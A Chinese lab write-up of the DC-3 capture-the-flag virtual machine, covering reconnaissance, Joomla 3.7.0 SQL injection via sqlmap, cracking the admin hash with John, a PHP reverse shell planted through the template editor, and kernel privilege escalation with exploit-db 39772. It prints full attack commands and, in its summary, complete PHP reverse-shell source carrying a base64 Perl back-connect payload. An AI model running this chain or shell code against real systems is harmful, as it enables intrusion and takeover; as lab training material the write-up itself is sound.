当前位置:网站首页>DC-3靶场搭建及渗透实战详细过程(DC靶场系列)
DC-3靶场搭建及渗透实战详细过程(DC靶场系列)
2022-08-03 03:37:00 【金 帛】
目录
DC-3靶场下载地址http://www.five86.com/downloads/DC-3-2.zip
搭建过程和DC-1一样,将kali跟DC-3放同一网段即可
一. 信息收集
1. 主机扫描
arp-scan -l
探测到dc-3主机
2. 端口扫描
nmap -A -p- 192.168.120.132-sV只扫描端口及其版本号
-A扫描端口的详细信息

80端口可用,还将该端口的详细信息给出了,用的是Joomla的cms
3. 目录扫描
dirsearch -u 192.168.120.132 -e * -i 200-i 状态码
只显示该状态码
-x 状态码
不显示该状态码

4. web页面信息探测

原页面给了个提示,还有个用户登入框在

确定了cms的版本

找到后台登入框
二. 漏洞找查
1. joomscan
joomscan是一款开源的且针对joomla的扫描器,kali可以用命令apt install joomscan安装该工具
joomscan -u 192.168.120.132
扫描出了cms的版本,还有一些目录跟后台登入界面,前面的信息收集里我们也是知道了的
2. searchsploit
searchsploit是一款kali自带的搜索漏洞信息的模块,可参考searchsploit漏洞查找工具使用指南
searchsploit joomla 3.7.0
当前cms存在SQL注入的漏洞,还有跨站扫描漏洞,我们看一下SQL注入的,该漏洞的完整path是
/usr/share/exploitdb/exploits/php/webapps/42033.txt
拷贝漏洞的详细信息到桌面,cp 要拷贝的文件 拷贝后的文件
cp /usr/share/exploitdb/exploits/php/webapps/42033.txt /root/桌面/42033.txt
在桌面打开该文件

给出了注入点
三. 漏洞利用
1. SQL注入
利用sqlmap进行自动化注入,萌新可参考Sqlmap常用命令总结
- 列出所有数据库
sqlmap -u "http://192.168.120.132/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent -p list[fullordering] --batch --dbs
--dbs列出所有数据库

- 列出指定数据库的所有表
sqlmap -u "http://192.168.120.132/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent -p list[fullordering] --batch -D joomladb --tables-D 指定数据库,当数据库名含有特殊符号的时候,需要用引号包括起来
--tables 列出表

- 查看所有字段
sqlmap -u "http://192.168.120.132/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent -p list[fullordering] -D joomladb -T '#__users' --columns表名含有特殊符号,需要用引号包括
这里就不能用--batch参数了,会默认使用公共参数爆破给N掉,导致注入失败,根据提示,手工输入y并回车即可

- 查看用户名与密码
sqlmap -u "http://192.168.120.132/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent -p list[fullordering] -D joomladb -T '#__users' -C username,password --dump
$2y$10$DpfpYjADpejngxNh9GnmCeyIHCWpL97CVRnGeZsVJwR0kWFlfB1Zu密码是加密过的,没有加密函数只能爆破密码了
2. 密码爆破
利用John工具,对该密码进行爆破拆解,工具详细信息参考John介绍及常用命令使用说明
先在桌面创建一个文件,将上面的hash密码复制进去并保存,接着使用john指向该文件
john /root/桌面/passwd 
不一会儿就爆破出来了,密码是snoopy,登入后台

3. 反弹shell
探索后台管理员系统,发现了文件上传的点位,在beez3模块里
http://192.168.120.132/administrator/index.php?option=com_templates&view=template&id=503&file=aG9tZQ==
貌似有文件上传过滤,但是我们可以自己创建一个文件,写入木马 也可以直接反弹shell

将PHP反弹shell代码复制进去(网上随便找一个,文章后面总结也有,设置好目标ip跟端口就行)

保存就上传好啦,再根据joomla的特性,模块会单独放在一个文件夹里/templates/,而beez3模块就在/templates/beez3/里面,刚才创建的webshell路径为
kali监听8888端口
nc -lvvp 8888
接着我们去访问webshell地址,执行反弹shell的php代码,回到监听端口的终端
反弹shell成功
4. Get交互shell
跟DC-1一样,利用python获取交互shell
python -c 'import pty; pty.spawn("/bin/bash")'
交互shell获取成功,但是还不是root权限
四. Linux提权
1. 确定操作系统信息
这儿不能用suid和git提权,得换种方法,先查看操作系统版本信息可参考
查看Linux当前操作系统版本信息常用命令 ,以寻找提权漏洞突破口
tac /etc/issue
cat /proc/version
得到操作系统与其版本
2. 搜索操作系统漏洞
继续使用searchsploit工具搜索漏洞 ,打开另一个终端
searchsploit Ubuntu 16.04
Privilege Escalation(提权),这里我们使用通用4.4.x版本的提权方式,完整path
/usr/share/exploitdb/exploits/linux/local/39772.txt
利用cp命令拷贝到桌面
cp /usr/share/exploitdb/exploits/linux/local/39772.txt /root/桌面/39772.txt
打开该文件
文本写的是漏洞产生的原因、描述和漏洞利用的方法,还附上了exp,就是最后一行的连接
https://github.com/offensive-security/exploitdb-bin-sploits/raw/master/bin-sploits/39772.zip
3. 利用exp提权
接着我们下载该压缩包并放到kali桌面里,解压该文件,然后在桌面开启http服务,将下载好的文件导入到DC-3靶机里
python3 -m http.server 8888
浏览器访问一下开启的http服务

出现这个说明服务开启成功,exp地址是
回到我们的虚拟终端,利用wget命令下载该工具
wget http://192.168.120.129:8888/39772/39772/exploit.tar
下载完后用tar命令解压该压缩包
tar -xvf exploit.tar
接着cd进入解压后的文件夹
cd ebpf_mapfd_doubleput_exploit
根据文本提示

执行下两个文件,Linux系统下.(点)是执行某个文件的意思
./compile.sh
./doubleput
提权成功!!!
4. 找查flag
接着用find命令找查flag
find / -name *flag*
发现可疑文件,tac命令打开该文件
tac /root/the-flag.txt
拿到最终flag

五. 收获总结
1. joomscan
针对joomla开发的漏洞扫描器
joomscan -u [要攻击的IP或URL]2. searchsploit
漏洞查找工具,可以通过操作系统或cms的版本号搜索到相应漏洞,通过查看说明即可找到漏洞利用方法
searchsploit [CMS或操作系统] [CMS或操作系统的版本号]3. john
针对hash的密码爆破工具
john [含有密文的文件名]4. PHP反弹shell
<?php
function which($pr) {
$path = execute("which $pr");
return ($path ? $path : $pr);
}
function execute($cfe) {
$res = '';
if ($cfe) {
if(function_exists('exec')) {
@exec($cfe,$res);
$res = join("\n",$res);
}
elseif(function_exists('shell_exec')) {
$res = @shell_exec($cfe);
} elseif(function_exists('system')) {
@ob_start();
@system($cfe);
$res = @ob_get_contents();
@ob_end_clean();
} elseif(function_exists('passthru')) {
@ob_start();
@passthru($cfe);
$res = @ob_get_contents();
@ob_end_clean();
} elseif(@is_resource($f = @popen($cfe,"r"))) {
$res = '';
while([email protected]($f)) {
$res .= @fread($f,1024);
}
@pclose($f);
}
}
return $res;
}
function cf($fname,$text){
if([email protected]($fname,'w')) {
@fputs($fp,@base64_decode($text));
@fclose($fp);
}
}
$yourip = "your IP";
$yourport = 'your port';
$usedb = array('perl'=>'perl','c'=>'c');
$back_connect="IyEvdXNyL2Jpbi9wZXJsDQp1c2UgU29ja2V0Ow0KJGNtZD0gImx5bngiOw0KJHN5c3RlbT0gJ2VjaG8gImB1bmFtZSAtYWAiO2Vj".
"aG8gImBpZGAiOy9iaW4vc2gnOw0KJDA9JGNtZDsNCiR0YXJnZXQ9JEFSR1ZbMF07DQokcG9ydD0kQVJHVlsxXTsNCiRpYWRkcj1pbmV0X2F0b24oJHR".
"hcmdldCkgfHwgZGllKCJFcnJvcjogJCFcbiIpOw0KJHBhZGRyPXNvY2thZGRyX2luKCRwb3J0LCAkaWFkZHIpIHx8IGRpZSgiRXJyb3I6ICQhXG4iKT".
"sNCiRwcm90bz1nZXRwcm90b2J5bmFtZSgndGNwJyk7DQpzb2NrZXQoU09DS0VULCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgJHByb3RvKSB8fCBkaWUoI".
"kVycm9yOiAkIVxuIik7DQpjb25uZWN0KFNPQ0tFVCwgJHBhZGRyKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpvcGVuKFNURElOLCAiPiZTT0NLRVQi".
"KTsNCm9wZW4oU1RET1VULCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RERVJSLCAiPiZTT0NLRVQiKTsNCnN5c3RlbSgkc3lzdGVtKTsNCmNsb3NlKFNUREl".
"OKTsNCmNsb3NlKFNURE9VVCk7DQpjbG9zZShTVERFUlIpOw==";
cf('/tmp/.bc',$back_connect);
$res = execute(which('perl')." /tmp/.bc $yourip $yourport &");
?> 5. Linux的一些命令
- cp ——文件复制命令
cp [源文件] [新文件]- wget ——远程文件下载命令
wget [文件的URL]- tar ——文件压缩、解压命令
tar命令参考, tar 解压缩命令详解,以压缩tar后缀文件为例
tar -xvf [tar文件]6. Linux系统信息文件
- /etc/issue
- /proc/version
更多查看系统信息的操作可参考查看Linux当前操作系统版本信息常用命令
边栏推荐
猜你喜欢
随机推荐
ClickHouse - Getting Started
基于WPF重复造轮子,写一款数据库文档管理工具(一)
HI3521D 烧录128M nand flash文件系统过程-一定要注意flash的容量
机器学习【KNN案例、API、总结】
SqlSession [[email protected]]
怎么用redis限制同一ip重复刷浏览量
MySQL【约束】
uniapp中动态修改导航栏标题
Guys, I don't understand a bit: why the documentation of oracle-cdc writes that the connector can be done exactly-o
els 计分
瑞鹄转债上市价格预测
视频中场的概念(1080I和1080P)和BT601/656/709/1120/2020/2077
MATLAB(5)绘图
基于Streamlit的YOLOv5ToX模型转换工具(适用YOLOv5训练出来的模型转化为任何格式)
利用索引机制进行绕过
【GO记录】从零开始GO语言——用GO语言做一个示波器(二)基于arduino的简易示波器
阿里面试官:聊聊如何格式化Instant
Auto.js Pro 计算脚本运行时间
ClickHouse卸载、重安装
信号和槽的绑定









